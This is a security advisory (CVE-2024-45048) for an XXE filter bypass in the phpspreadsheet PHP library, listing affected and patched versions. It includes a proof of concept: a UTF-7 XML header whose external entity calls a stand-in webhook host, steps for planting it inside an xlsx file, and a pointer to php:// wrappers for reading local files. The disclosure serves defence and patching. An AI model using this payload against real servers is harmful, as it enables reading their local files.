Skip to content

XXE in PHPSpreadsheet encoding is returned

High
oleibman published GHSA-ghg6-32f9-2jp7 Aug 28, 2024

Package

composer phpoffice/phpspreadsheet (Composer)

Affected versions

>= 2.2.0, < 2.2.1
< 1.29.1
>= 2.0.0, < 2.1.1

Patched versions

2.2.1
1.29.1
2.1.1

Description

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files
lfi

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-45048

Weaknesses

Credits